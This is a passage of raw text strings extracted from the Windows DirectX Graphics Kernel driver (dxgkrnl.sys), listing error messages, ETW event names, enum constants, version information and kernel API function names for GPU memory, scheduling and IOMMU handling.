0x%.16I64x. pIommu=0x%.16I64x, Referenced=%u, Status=0x%.8x pArgs->OutputSize == OutputIndex Failed to allocate IOMMU tracker page Failed to query system physical memory info, Status=0x%.8x Iommu interface does not support Pasid pPhysicalObject->Flags.NonPaged == 0 Failed to map SysMm adapter object 0x%.16I64x to IOMMU. Status=0x%.8x Failed to swap/attach IOMMU domains. SysMmAdapter=0x%.16I64x, Status=0x%.8x Verifier fault: Fail to attach to translation domain. SysMmAdapter=0x%.16I64x Failed to identity map domain. SysMmAdapter=0x%.16I64x Failed to create IOMMU domain. SysMmAdapter=0x%.16I64x, Status=0x%.8x Failed to allocate Iommu staging MDL (pAdapter->Iommu.EnablementBitmask & SYSMM_IOMMU_ENABLEMENT_REASON_DMA_REMAPPING_POLICY) != 0 Verifier fault: Fail to attach to Pasid domain. SysMmAdapter=0x%.16I64x pAdapter->Iommu.CallbackContext != nullptr Failed to attach IOMMU_DMA_DOMAIN 0x%.16I64x to DEVICE_OBJECT 0x%.16I64x QueryAvailableDomainTypes returned unexpected list of available types. No passthrough or translate domains available. AvailableDomainTypes=0x%.8x Failed to register domain state callback. Status=0x%.8x Can only disable IOMMU from v2+ interface pPhysicalAdapter->DmaDevice != nullptr pPhysicalAdapter->DmaDevice2 == nullptr pPhysicalAdapter->DmaDevice == nullptr pAdapter->HardwareReservedRanges == nullptr Driver hardware reserved range cannot intersect a physical range of memory in Mm Driver reserved memory range overflow. BaseAddress=0x%I64x, Size=%I64u Couldn't allocate buffer to query system memory size Failed to allocate SYSMM_PHYSICAL_ADAPTER array Failed to allocate SYSMM_ADAPTER Failed to allocate SYSMM_HARDWARE_RESERVED_RANGE array pAdapter->HardwareReservedRangeCount == 0 Unaligned address Failed to enable IOMMU via legacy initialization. IommuSupported=%u, Required=%u, LegacyFlagMode=%u pAdapter->Iommu.Flags.DmaRemappingEnabled == 0 pCreateParams->Iommu.DmaRemappingSupported Unaligned AdlOffset The global adapter domain can be used only with GpuVaIommuGlobalRequired IsListEmpty(&pPhysicalObject->Debug->AdlListHead) Failed to allocate contiguous memory from MmAllocateContiguousMemorySpecifyCache, Size=%I64u, CacheType=%u (CreateFlags & SYSMM_PHYSICAL_OBJECT_CREATE_FLAG_LEGACY_MDL_CREATION) == 0 Failed to allocate SYSMM_PHYSICAL_OBJECT_DEBUG Failed to allocate (NonPaged) SYSMM_PHYSICAL_OBJECT Failed to create section object from MmCreateSection, Size=%I64u, Attributes=%u, PageProtection=%u Failed to allocate memory from ZwAllocateVirtualMemory, Size=%I64u, AllocationType=%u, Protect=%u pAdapterObject->Adapter == pAdapter Failed to allocate SYSMM_ADL_DEBUG Failed to allocate SYSMM_ADL Creating ADL against unlocked memory pPool->NumFreeBlocks > 0 pAllocator->Statistics.BytesAllocated == 0 BlockSize >= Size Failed to allocate logical block !IsListEmpty(&pPool->FreeListHead) Failed to allocate logical allocator pAllocator->Statistics.RealBytesAllocated == 0 pAllocator->Statistics.BytesWasted == 0 pAllocator->Statistics.BytesFree == pAllocator->Size AddressSpaceSize >= SYSMM_MSI_RANGE_END (SysMmControlGuid_Context.RegistrationHandle) != 0 pBaseAddress != nullptr pPhysicalObject->Flags.ExistingMemory == 0 pBaseAddress <= MmHighestUserAddress Failed to map section object. Offset=0x%.16I64x, Size=%I64u, AccessMode=%u, CacheType=%u Failed to map IO space. Address=0x%.16I64x, Size=%I64u, CacheType=%u pBaseAddress > MmHighestUserAddress pMappedAddress == pMdl->MappedSystemVa Failed to map MDL. Offset=0x%.16I64x, Size=%I64u, AccessMode=%u, CacheType=%u KeGetCurrentIrql() <= 2 Failed to allocate MDL of size %u pPhysicalObject->PagedData.LockData.Mdl != nullptr pPhysicalObject->PagedData.LockData.Mdl == nullptr MmProbeAndLockPages returned an MDL with a PFN that the adapter cannot access. MmProbeAndLockPages failed, BaseAddr=0x%.16I64x, Size=%I64u pPhysicalObject->PagedData.LockData.LockCount > 0 Failed to query host about feature %u Failed to query feature ID '%u'. vGPU is not yet initialized. AllowExperimental MaxVersion MinVersion Enabled FeatureId.Feature < pCache->Count Failed to allocate feature database cached feature array. Querying an adapter-specific feature must be done on an adapter database. FeatureId=%u, Database=0x%.16x Failed to query dependency %u for feature %u. Assuming disabled \Features Failed to allocate initial database cache for category %u Failed to allocate feature database pCachedState->Valid == FALSE Dxgkrnl feature interface table mismatch! Feature=%u[v%u], Database=0x%.16x Attempting to query interface for invalid version of feature %u[v%u], Database=0x%.16x Attempting to query interface for disabled feature %u[v%u], Database=0x%.16x Attempting to query interface for unknown feature %u[v%u], Database=0x%.16x %06x %04x SummaryCount MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed TELASSERT D:P(A;;GA;;;SY)(A;;GA;;;BA) F/G/ WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription DirectX Graphics Kernel FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName dxgkrnl.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename dxgkrnl.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation Generic Monitor Integrated Monitor Unknown Graphics Device Generic Monitor (%1) Integrated Monitor (%1) Response Time Info Start Stop DCStart Log Always Error Information SetPowerComponentFStateStart SetPowerComponentFStateEnd SetPowerComponentActiveCBStart SetPowerComponentActiveCBEnd SetPowerComponentIdleCBStart SetPowerComponentIdleCBEnd ComponentActiveCallback ControlCallback ControlRequestCB PowerComponent PowerComponentIdleState SetPowerComponentLatencyCB SetPowerComponentResidencyCB LatencyToleranceTimerStart LatencyToleranceTimerEnd LatencyToleranceTimerEnable LatencyToleranceTimerDisable DpiRequestDevicePowerState DpiRequestDevicePowerIrp CompleteFStateTransitionCB PowerPStateComponent PowerPState SetPowerPState PowerPStateCompleted ReportPowerComponentState ProcessComponentIdleList PrimaryMonitorPowerChange SetDevicePowerTransitionState EnableDisableDevicePowerRequiredTimer RecycleRangeCreation RecycleRangeTransition RecycleRangeDestruction Report VaAllocator Create VaAllocator Destroy VaAllocator Start Open a virtual GPU from guest on the adapter (%1) failed with the status (%3), reason (%4) Opening a virtual GPU on the adapter (%1). VirtualFunction (%2)) Finished opening a virtual GPU on the adapter (%1). VirtualFunction (%2). Status (%3). Failure reason (%4) Miniport driver failed to add device with status %5 Miniport driver failed to start device with status %5 Event from virtual GPU on the adapter (%1), virtual function (%2), status (%3) scenario (%4), id (%5) DevicePowerRequiredCallback Report VAD Create VAD Destroy VAD DeviceDirectedPowerCallback Creation of a virtual GPU on the adapter (%1) failed with the status (%4), reason (%5) Starting creation of a virtual GPU on the adapter (%1). VirtualFunction (%2). Secure (%3) Finished creation of a virtual GPU on the adapter (%1). VirtualFunction (%2). Status (%4). Failure reason (%5) PowerManagementSupport PowerManagementComponents Winlogon in session %5 (%4) reuqested session stop using GPU, returned status %1, with progress stage of %3 QueryAdapterInfo NodePerfData: NodeOrdinal %1, PhysicalAdapterIndex %2, Frequency %3, MaxFrequency %4, MaxFrequencyOC %5, Voltage %6, VoltageMax %7, VoltageMaxOC %8, MaxTransitionLatency %9 Adapter start failed for VendorId (%1) failed with the status (%2), reason (%3) D3DKMT_PM_UNINITIALIZED D3DKMT_PM_REDIRECTED_GDI D3DKMT_PM_REDIRECTED_FLIP D3DKMT_PM_REDIRECTED_BLT D3DKMT_PM_REDIRECTED_VISTABLT D3DKMT_PM_SCREENCAPTUREFENCE D3DKMT_PM_REDIRECTED_GDI_SYSMEM D3DKMT_PM_REDIRECTED_COMPOSITION D3DKMT_PM_SURFACECOMPLETE DXGKETW_CLIENT_RENDER_BUFFER DXGKETW_CLIENT_PAGING_BUFFER DXGKETW_SYSTEM_PAGING_BUFFER DXGKETW_SYSTEM_PREEMTION_BUFFER VIDSCH_QUANTUM_READY VIDSCH_QUANTUM_RUNNING VIDSCH_QUANTUM_EXPIRED VIDSCH_QUANTUM_PROCESSED_EXPIRE WaitForStalledFlip WaitForPassivePendingMask DrainAllPlanesNeeded DrainAllSourcesNeeded WaitForMmIoPendingMask CanNotHwQueueFlipDoNotFlip WaitHwFlipQueueDrain DurationChange HwFlipQueueFull DXGK_INTERRUPT_DMA_COMPLETED DXGK_INTERRUPT_DMA_PREEMPTED DXGK_INTERRUPT_DMA_FAULTED DXGK_INTERRUPT_DMA_PAGE_FAULTED DXGKETW_RENDER_COMMAND_BUFFER DXGKETW_DEFERRED_COMMAND_BUFFER DXGKETW_SYSTEM_COMMAND_BUFFER DXGKETW_MMIOFLIP_COMMAND_BUFFER DXGKETW_WAIT_COMMAND_BUFFER DXGKETW_SIGNAL_COMMAND_BUFFER DXGKETW_DEVICE_COMMAND_BUFFER DXGKETW_SOFTWARE_COMMAND_BUFFER DXGKETW_PAGING_COMMAND_BUFFER DXGKETW_FLIPMODE_NO_DEVICE DXGKETW_FLIPMODE_IMMEDIATE DXGKETW_FLIPMODE_VSYNC_HW_FLIP_QUEUE DXGKETW_FLIPMODE_VSYNC_SW_FLIP_QUEUE DXGKETW_FLIPMODE_VSYNC_BUILT_IN_WAIT DXGKETW_FLIPMODE_IMMEDIATE_SW_FLIP_QUEUE DXGKETW_VIDSCH_WAIT_SUBMISSION DXGKETW_VIDSCH_WAIT_PREEMPTION DXGKETW_VIDSCH_WAIT_COMPLETION DXGKETW_CONTEXT_STATUS_IDLE DXGKETW_CONTEXT_STATUS_NO_NEXT_COMMAND DXGKETW_CONTEXT_STATUS_PREEMPTING DXGKETW_CONTEXT_STATUS_FLIP_PENDING DXGKETW_CONTEXT_STATUS_WAITING_OBJECT DXGKETW_CONTEXT_STATUS_READY DXGKETW_CONTEXT_STATUS_MEMORYFAULT DXGKETW_CONTEXT_STATUS_TIMER_PENDING DXGKETW_CONTEXT_STATUS_WAITING_POWER DXGKETW_CONTEXT_STATUS_SUSPEND_BY_VIDMM_PENDING DXGKETW_CONTEXT_STATUS_SUSPENDED_BY_VIDMM PreemptionAttemptSuccess PreemptionAttemptMissNoCommand PreemptionAttemptMissNotEnabled PreemptionAttemptMissNextFence PreemptionAttemptMissPagingCommand PreemptionAttemptMissSplittedCommand PreemptionAttemptMissFenceCommand PreemptionAttemptMissRenderPendingFlip PreemptionAttemptMissNotMakingProgress PreemptionAttemptMissLessPriority PreemptionAttemptMissRemainingQuantum PreemptionAttemptMissRemainingPreemptionQuantum PreemptionAttemptMissAlreadyPreempting PreemptionAttemptMissGlobalBlock PreemptionAttemptMissAlreadyRunning PreemptionAttemptStatisticsMax PreemptionAttemptSuccessHigherInProcPriority PreemptionAttemptSuccessGlobalBlock PreemptionAttemptSuccessRenderPendingFlip PreemptionAttemptSuccessSplittedCommand PreemptionAttemptSuccessPagingCommand PreemptionAttemptSuccessNextFence DXGKETW_UPDATE_CONTEXT_RUNNING_TIME_REASON_START DXGKETW_UPDATE_CONTEXT_RUNNING_TIME_REASON_RESET DXGKETW_UPDATE_CONTEXT_RUNNING_TIME_REASON_UPDATE DXGKETW_UPDATE_CONTEXT_RUNNING_TIME_REASON_CAPTURE DXGDEVICECLIENT_LEGACYUSER DXGDEVICECLIENT_USER DXGDEVICECLIENT_CDD DXGK_FEATURE_SUPPORT_ALWAYS_OFF DXGK_FEATURE_SUPPORT_EXPERIMENTAL DXGK_FEATURE_SUPPORT_STABLE DXGK_FEATURE_SUPPORT_ALWAYS_ON D3DDDIFMT_UNKNOWN D3DDDIFMT_R8G8B8 D3DDDIFMT_A8R8G8B8 D3DDDIFMT_X8R8G8B8 D3DDDIFMT_R5G6B5 D3DDDIFMT_X1R5G5B5 D3DDDIFMT_A1R5G5B5 D3DDDIFMT_A4R4G4B4 D3DDDIFMT_R3G3B2 D3DDDIFMT_A8 D3DDDIFMT_A8R3G3B2 D3DDDIFMT_X4R4G4B4 D3DDDIFMT_A2B10G10R10 D3DDDIFMT_A8B8G8R8 D3DDDIFMT_X8B8G8R8 D3DDDIFMT_G16R16 D3DDDIFMT_A2R10G10B10 D3DDDIFMT_A16B16G16R16 D3DDDIFMT_A8P8 D3DDDIFMT_P8 D3DDDIFMT_L8 D3DDDIFMT_A8L8 D3DDDIFMT_A4L4 D3DDDIFMT_V8U8 D3DDDIFMT_L6V5U5 D3DDDIFMT_X8L8V8U8 D3DDDIFMT_Q8W8V8U8 D3DDDIFMT_V16U16 D3DDDIFMT_W11V11U10 D3DDDIFMT_A2W10V10U10 D3DDDIFMT_UYVY D3DDDIFMT_R8G8_B8G8 D3DDDIFMT_YUY2 D3DDDIFMT_G8R8_G8B8 D3DDDIFMT_DXT1 D3DDDIFMT_DXT2 D3DDDIFMT_DXT3 D3DDDIFMT_DXT4 D3DDDIFMT_DXT5 D3DDDIFMT_D16_LOCKABLE D3DDDIFMT_D32 D3DDDIFMT_D15S1 D3DDDIFMT_D24S8 D3DDDIFMT_D24X8 D3DDDIFMT_D24X4S4 D3DDDIFMT_D16 D3DDDIFMT_D32F_LOCKABLE D3DDDIFMT_D24FS8 D3DDDIFMT_D32_LOCKABLE D3DDDIFMT_S8_LOCKABLE D3DDDIFMT_S1D15 D3DDDIFMT_S8D24 D3DDDIFMT_X8D24 D3DDDIFMT_X4S4D24 D3DDDIFMT_L16 D3DDDIFMT_G8R8 D3DDDIFMT_R8 D3DDDIFMT_VERTEXDATA D3DDDIFMT_INDEX16 D3DDDIFMT_INDEX32 D3DDDIFMT_Q16W16V16U16 D3DDDIFMT_MULTI2_ARGB8 D3DDDIFMT_R16F D3DDDIFMT_G16R16F D3DDDIFMT_A16B16G16R16F D3DDDIFMT_R32F D3DDDIFMT_G32R32F D3DDDIFMT_A32B32G32R32F D3DDDIFMT_CxV8U8 D3DDDIFMT_A1 D3DDDIFMT_A2B10G10R10_XR_BIAS D3DDDIFMT_PICTUREPARAMSDATA D3DDDIFMT_MACROBLOCKDATA D3DDDIFMT_RESIDUALDIFFERENCEDATA D3DDDIFMT_DEBLOCKINGDATA D3DDDIFMT_INVERSEQUANTIZATIONDATA D3DDDIFMT_SLICECONTROLDATA D3DDDIFMT_BITSTREAMDATA D3DDDIFMT_MOTIONVECTORBUFFER D3DDDIFMT_FILMGRAINBUFFER D3DDDIFMT_DXVA_RESERVED9 D3DDDIFMT_DXVA_RESERVED10 D3DDDIFMT_DXVA_RESERVED11 D3DDDIFMT_DXVA_RESERVED12 D3DDDIFMT_DXVA_RESERVED13 D3DDDIFMT_DXVA_RESERVED14 D3DDDIFMT_DXVA_RESERVED15 D3DDDIFMT_DXVA_RESERVED16 D3DDDIFMT_DXVA_RESERVED17 D3DDDIFMT_DXVA_RESERVED18 D3DDDIFMT_DXVA_RESERVED19 D3DDDIFMT_DXVA_RESERVED20 D3DDDIFMT_DXVA_RESERVED21 D3DDDIFMT_DXVA_RESERVED22 D3DDDIFMT_DXVA_RESERVED23 D3DDDIFMT_DXVA_RESERVED24 D3DDDIFMT_DXVA_RESERVED25 D3DDDIFMT_DXVA_RESERVED26 D3DDDIFMT_DXVA_RESERVED27 D3DDDIFMT_DXVA_RESERVED28 D3DDDIFMT_DXVA_RESERVED29 D3DDDIFMT_DXVA_RESERVED30 D3DDDIFMT_DXVA_RESERVED31 D3DDDIFMT_BINARYBUFFER Existing Location System Memory CPU Host Aperture CPU Visible Segment Evict to Aperture Segment On-Demand Section Object VIDMM_ETWLOG_MEMORY_TRANSFER_FILL_MEMORY VIDMM_ETWLOG_MEMORY_TRANSFER_SYSTEM_TO_LOCAL_VIDEO VIDMM_ETWLOG_MEMORY_TRANSFER_LOCAL_VIDEO_TO_SYSTEM VIDMM_ETWLOG_MEMORY_TRANSFER_AGP_TO_LOCAL_VIDEO VIDMM_ETWLOG_MEMORY_TRANSFER_LOCAL_VIDEO_TO_AGP VIDMM_ETWLOG_MEMORY_TRANSFER_DISCARD VIDMM_ETWLOG_MEMORY_TRANSFER_EVICT_TO_ALTERNATEVA VIDMM_ETWLOG_MEMORY_TRANSFER_RESTORE_FROM_ALTERNATEVA DXGK_PROCESSCOMMITTEDSTATE_UNDER_COMMITTED DXGK_PROCESSCOMMITTEDSTATE_FAIRLY_COMMITTED DXGK_PROCESSCOMMITTEDSTATE_OVER_COMMITTED DXGK_PROCESSCOMMITTEDSTATE_UNKNOWN VIDMM_INNER_ITERATION_POLICY_TRIM_NONE VIDMM_INNER_ITERATION_POLICY_TRIM_LOWER VIDMM_INNER_ITERATION_POLICY_TRIM_SKIP VIDMM_INNER_ITERATION_POLICY_TRIM_HIGH VIDMM_INNER_ITERATION_POLICY_TRIM_MAX VidMmPlacementRestrictionNone VidMmPlacementRestrictionMemorySegment VidMmPlacementRestrictionApertureSegment VidMmPlacementRestrictionPinFromStartOfSegment VidMmPlacementRestrictionPinFromEndOfSegment VidMmPlacementRestrictionAlternateVA DXGK_SEGMENTGROUPTYPE_NONE DXGK_SEGMENTGROUPTYPE_HINTED DXGK_SEGMENTGROUPTYPE_PREFERRED DXGK_SEGMENTGROUPTYPE_SUPPORTED DXGKETW_ALLOCATIONFAULT_NOT_RESIDENT DXGKETW_ALLOCATIONFAULT_MARKED_FOR_EVICTION DXGKETW_ALLOCATIONFAULT_INVALID_RESOURCE_USAGE DXGKETW_ALLOCATIONFAULT_CONTENT_LOST DXGKETW_ALLOCATIONFAULT_MARKED_FOR_MIGRATION DXGKETW_ALLOCATIONFAULT_OFFERED DXGKETW_VIDMMPROCESSPOLICY_PREFER_APERTURE_FOR_READ DXGKETW_VIDMMPROCESSPOLICY_PREFER_APERTURE_FOR_WRITE DXGKETW_VIDMMPROCESSPOLICY_MEMRESET_ON_PAGING DXGKETW_VIDMMPROCESSPOLICY_ENABLE_MIGRATION DXGKETW_VIDMMSEGMENTPOLICYCHANGE_USE_MRU VidMmDmaTrimmingPolicyTrimDma VidMmDmaTrimmingPolicyTrimAllocationList VidMmDmaTrimmingPolicyTrimPatchLocationList VidMmDmaTrimmingPolicyDontAllowToGrowNbDmaBuffers VidMmDmaTrimmingPolicyDontAllowToGrowDma VidMmDmaTrimmingPolicyDontAllowToGrowAllocationList VidMmDmaTrimmingPolicyDontAllowToGrowPatchLocationList DXGK_TRACE_REASON_CREATE DXGK_TRACE_REASON_DESTROY DXGK_TRACE_REASON_OPEN DXGK_TRACE_REASON_CLOSE DXGK_TRACE_REASON_REPORT D3DDDI_VSSLO_UNINITIALIZED D3DDDI_VSSLO_PROGRESSIVE D3DDDI_VSSLO_INTERLACED_UPPERFIELDFIRST D3DDDI_VSSLO_INTERLACED_LOWERFIELDFIRST D3DDDI_VSSLO_OTHER DXGADAPTER_FLUSHSCHEDULER_REMOVE_PHT DXGADAPTER_FLUSHSCHEDULER_REGULAR DXGADAPTER_FLUSHSCHEDULER_RUNDOWN_UNORDERED_WAITS_ONLY DXGADAPTER_FLUSHSCHEDULER_RUNDOWN_WAITER DXGADAPTER_FLUSHSCHEDULER_ADAPTER_TERMINATE DXGADAPTER_FLUSHSCHEDULER_SUSPEND DXGADAPTER_FLUSHSCHEDULER_RESUME DXGADAPTER_FLUSHSCHEDULER_REMOVE_PRIMARY_REFERENCES VIDSCH_YIELD_PRIORITY_NORMAL VIDSCH_YIELD_PRIORITY_FOCUS VIDSCH_YIELD_PRIORITY_DWM VidMmWakeReason_RunEvent VidMmWakeReason_StatusChangeEvent VidMmWakeReason_CleanupMarkedForEvictionAllocations VidMmWakeReason_ProcessPendingOfferList VidMmWakeReason_ProcessSystemMemoryOfferList VidMmWakeReason_TrimWnf VidMmWakeReason_ResumeDevice VidMmWakeReason_HandlePromotionCandidates VidMmWakeReason_YieldDevice D3DDDI_ROTATION_IDENTITY D3DDDI_ROTATION_90 D3DDDI_ROTATION_180 D3DDDI_ROTATION_270 DXGK_BLOCK_THREAD_WAIT_ON_DMA_REFERENCE DXGK_BLOCK_THREAD_WAIT_FOR_DMA_BUFFER DXGK_BLOCK_THREAD_PRESENT_LIMIT DXGK_BLOCK_THREAD_PRESENT_MUTEX DXGK_BLOCK_THREAD_PROCESS_MUTEX DXGK_BLOCK_THREAD_ADAPTER_COPY_PROTECTION_MUTEX DXGK_BLOCK_THREAD_PROCESS_COPY_PROTECTION_MUTEX DXGK_BLOCK_THREAD_DEVICE_LIST_MUTEX DXGK_BLOCK_THREAD_OVERLAY_MUTEX DXGK_BLOCK_THREAD_SHARE_MUTEX DXGK_BLOCK_THREAD_PROCESS_CALLOUT_MUTEX DXGK_BLOCK_THREAD_ADAPTER_LIST_MUTEX DXGK_BLOCK_THREAD_ADAPTER_ORDINAL_MUTEX DXGK_BLOCK_THREAD_GLOBAL_ALLOC_MUTEX DXGK_BLOCK_THREAD_SWIZZLING_RANGE_MUTEX DXGK_BLOCK_THREAD_PROCESS_HEAP_MUTEX DXGK_BLOCK_THREAD_OPM_MUTEX DXGK_BLOCK_THREAD_DMM_MUTEX DXGK_BLOCK_THREAD_WAIT_FOR_ALL_ENGINES DXGK_BLOCK_THREAD_ALLOCATE_QUEUE_PACKET DXGK_BLOCK_THREAD_ALLOCATE_DMA_PACKET DXGK_BLOCK_THREAD_DESTROY_SYNC_OBJECT DXGK_BLOCK_THREAD_FLUSH_CONTEXT DXGK_BLOCK_THREAD_FLUSH_DEVICE_FLIP DXGK_BLOCK_THREAD_FLUSH_DEVICE_QUEUE_PACKET DXGK_BLOCK_THREAD_FLUSH_ADAPTER_FLIP DXGK_BLOCK_THREAD_FLUSH_ADAPTER_QUEUE_PACKET DXGK_BLOCK_THREAD_MIGRATION_TABLE_MUTEX DXGK_BLOCK_THREAD_QUERY_FENCE_MUTEX DXGK_BLOCK_THREAD_FLUSH_DEVICE_CONDITION_PACKET DXGK_BLOCK_THREAD_FLUSH_ADAPTER_CONDITION_PACKET DXGK_BLOCK_THREAD_FLUSH_CONTEXT_FLIP DXGK_BLOCK_THREAD_SYNCOBJ_LIST_MUTEX DXGK_BLOCK_THREAD_SYNCOBJ_MUTEX DXGK_BLOCK_THREAD_KEYED_MUTEX_MUTEX DXGK_BLOCK_THREAD_KEYED_MUTEX_LIST_MUTEX DXGK_BLOCK_THREAD_PROCESS_ACCESS_LIST_MUTEX DXGK_BLOCK_THREAD_PROCESS_HANDLE_TABLE_MUTEX DXGK_BLOCK_THREAD_SYNCOBJECT_MUTEX DXGK_BLOCK_THREAD_DDIACCESS_MUTEX DXGK_BLOCK_THREAD_DXGDEVICE_LOCK DXGK_BLOCK_THREAD_DXGDEVICE_ALLOCATIONLIST_MUTEX DXGK_BLOCK_THREAD_OUTPUTDUPL_PER_SOURCE_MUTEX DXGK_BLOCK_THREAD_OUTPUTDUPL_PER_SESSION_MUTEX DXGK_BLOCK_THREAD_SESSION_MANAGER_MUTEX DXGK_BLOCK_THREAD_SESSION_ARRAY_MUTEX DXGK_BLOCK_THREAD_REASON_PENDING_OFFER_LIST DXGK_BLOCK_THREAD_DXGDIAGNOSTIC_MUTEX DXGK_BLOCK_THREAD_NODE_POWER_IDLE DXGK_BLOCK_THREAD_NUMBER_OF_UNORDERED_WAITS DXGK_BLOCK_THREAD_OUTPUTDUPL_UPDATE_STATE DXGK_BLOCK_THREAD_CACHE_EDID DXGK_BLOCK_THREAD_DEVICE_FAULTED_LIST DXGK_BLOCK_THREAD_CPU_HOST_APERTURE DXGK_BLOCK_THREAD_DEVICE_RESIDENCY DXGK_BLOCK_THREAD_DXGDEVICE_RESOURCELIST_MUTEX DXGK_BLOCK_THREAD_STOP_LOCK DXGK_BLOCK_THREAD_DISPLAYED_MUTEX DXGK_BLOCK_THREAD_PRIMARY_MUTEX DXGK_BLOCK_THREAD_DXGCONTEXT_LOCK DXGK_BLOCK_THREAD_BUDGET_INFO DXGK_BLOCK_THREAD_SESSION_MODE_CHANGE_LOCK DXGK_BLOCK_THREAD_SWAPCHAIN_MUTEX DXGK_BLOCK_THREAD_SWAPCHAIN_LIST_MUTEX DXGK_BLOCK_THREAD_GPUVA_ALLOCATOR DXGK_BLOCK_THREAD_DXGADAPTERSOURCEHASH DXGK_BLOCK_THREAD_PROCESS_ADAPTER_INFO_LOCK DXGK_BLOCK_THREAD_CDD_WNF_CALLBACK_LOCK DXGK_BLOCK_THREAD_NUMBER_OF_UPDATEGPUVAOP DXGK_BLOCK_THREAD_QDC_CACHE DXGK_BLOCK_THREAD_GLOBAL_INDIRECT_OUTDUPL_MUTEX DXGK_BLOCK_THREAD_QUERY_RESIDENCY DXGK_BLOCK_THREAD_COREACCESS_EVENT DXGK_BLOCK_THREAD_DDIACCESS_EVENT DXGK_BLOCK_THREAD_SHARED_POWER_MUTEX DXGK_BLOCK_THREAD_POINTER_MUTEX DXGK_BLOCK_THREAD_DISPLAYSTATE_MUTEX DXGK_BLOCK_THREAD_WRITE_BLOCKER_LIST DXGK_BLOCK_THREAD_MODIFY_CS_ACCOUNTING DXGK_BLOCK_THREAD_DISPMGR_OBJ_MUTEX DXGK_BLOCK_THREAD_DISPMGR_SRCOBJ_MUTEX DXGK_BLOCK_THREAD_DWM_SESSION_MUTEX DXGK_BLOCK_THREAD_VMBUS_CHANNEL_MUTEX DXGK_BLOCK_THREAD_SUSPEND_DEVICE DXGK_BLOCK_THREAD_ARGON_EMULATION_PROCESS_MUTEX DXGK_BLOCK_THREAD_VIDMM_PROCESS_LOCK DXGK_BLOCK_THREAD_LPBH_LISTENER_MUTEX DXGK_BLOCK_THREAD_PERF_DATA_WORKER_THREAD_MUTEX DXGK_BLOCK_THREAD_NOT_LOGGED DXGK_PERFORMANCE_GDI_BLT DXGK_PERFORMANCE_MULTIPASS_PRESENT DXGK_PERFORMANCE_WARNING_SLOW_TRANSFER DXGK_PERFORMANCE_PROBE_AND_LOCK_FAILURE DXGK_PERFORMANCE_UNUSED DXGK_PERFORMANCE_EXCESSIVE_TRANSFER DXGK_PERFORMANCE_HIGH_PAGING_LEVEL DXGK_PERFORMANCE_ROTATION_FAILED DXGK_PERFORMANCE_NO_WRITE_COMBINED DXGK_PERFORMANCE_NON_PREFERRED_PAGING DXGK_PERFORMANCE_EVICTING_SOFTPINNED DXGK_PERFORMANCE_NONRETIREDLIMIT DXGK_PERFORMANCE_ROTATION_WAIT_ON_IO DXGK_PERFORMANCE_FORCE_ALLOCATION_SWIZZLING DXGK_PERFORMANCE_MAPPED_VIEW_FAILED DXGK_PERFORMANCE_TIMEOUT_SYNCOBJECT_WAITER DXGK_PERFORMANCE_WAIT_TO_HOLD_EXCLUSIVE DXGK_PERFORMANCE_PAGE_IN_UNDER_LOCK DXGK_PERFORMANCE_NO_UM_VA_FOR_RESET DXGK_PERFORMANCE_PRESENTLIMIT_SEM_TIMEOUT DXGK_PERFORMANCE_COULD_NOT_PROCESS_OFFER DXGK_PERFORMANCE_COULD_NOT_PROCESS_RECLAIM DXGK_PERFORMANCE_LOCK2_MOVE_TO_APERTURE DXGK_PERFORMANCE_PROCESS_IDLE_TO_FLUSH_TLB DriverEntry DxgkCreateClose DxgkInternalDeviceIoctl DpiAddDevice DpiDispatchClose DpiDispatchCreate DpiDispatchInternalIoctl DpiDispatchIoctl DpiDispatchPnp DpiDispatchPower DpiDispatchSystemControl DpiDriverUnload DxgkProcessCallout DxgkOpenAdapter DxgkCloseAdapter DxgkCreateAllocation DxgkQueryResourceInfo DxgkOpenResource DxgkDestroyAllocation DxgkSetAllocationPriority DxgkQueryAllocationResidency DxgkCreateDevice DxgkDestroyDevice DxgkLock DxgkUnlock DxgkRender DxgkGetRuntimeData DxgkQueryAdapterInfo DxgkEscape DxgkGetDisplayModeList DxgkSetDisplayMode DxgkGetMultisampleMethodList DxgkPresent DxgkGetSharedPrimaryHandle DxgkCreateOverlay DxgkUpdateOverlay DxgkFlipOverlay DxgkDestroyOverlay DxgkWaitForVerticalBlankEvent DxgkSetVidPnSourceOwner DxgkGetDeviceState DxgkSetContextSchedulingPriority DxgkGetContextSchedulingPriority DxgkSetProcessSchedulingPriorityClass DxgkGetProcessSchedulingPriorityClass DxgkReleaseProcessVidPnSourceOwners DxgkGetScanLine DxgkSetQueuedLimit DxgkPollDisplayChildren DxgkInvalidateActiveVidPn DxgkCheckOcclusion DxgkCreateContext DxgkDestroyContext DxgkCreateSynchronizationObject DxgkDestroySynchronizationObject DxgkWaitForSynchronizationObject DxgkSignalSynchronizationObject DxgkWaitForIdle DxgkCheckMonitorPowerState DxgkCheckExclusiveOwnership DxgkSetDisplayPrivateDriverFormat DxgkQueryStatistics DxgkOpenSynchronizationObject DxgkCreateKeyedMutex DxgkOpenKeyedMutex DxgkDestroyKeyedMutex DxgkAcquireKeyedMutex DxgkReleaseKeyedMutex DxgkConfigureSharedResource DxgkGetOverlayState DxgkCheckVidPnExclusiveOwnership DxgkCheckSharedResourceAccess DxgkGetPresentHistory DxgkCreateOutputDupl DxgkDestroyOutputDupl DxgkOutputDuplGetFrameInfo DxgkOutputDuplGetMetaData DxgkOutputDuplGetPointerShapeData DxgkCreateKeyedMutex2 DxgkOpenKeyedMutex2 DxgkAcquireKeyedMutex2 DxgkReleaseKeyedMutex2 DxgkOfferAllocations DxgkReclaimAllocations DxgkOutputDuplReleaseFrame DxgkQueryResourceInfoFromNtHandle DxgkShareObjects DxgkOpenNtHandleFromName DxgkOpenResourceFromNtHandle DxgkSetVidPnSourceOwner1 DxgkEnumAdapters DxgkPinDirectFlipResources DxgkUnpinDirectFlipResources DxgkGetPathsModality DxgkOpenAdapterFromLuid DxgkWaitForVerticalBlankEvent2 DxgkSetContextInProcessSchedulingPriority DxgkGetContextInProcessSchedulingPriority DxgkOpenSyncObjectFromNtHandle DxgkNotifyProcessFreezeCallout DxgkGetSharedResourceAdapterLuid DxgkSetStereoEnabled DxgkGetCachedHybridQueryValue DxgkCacheHybridQueryValue DxgkPresentMultiPlaneOverlay DxgkCheckMultiPlaneOverlaySupport 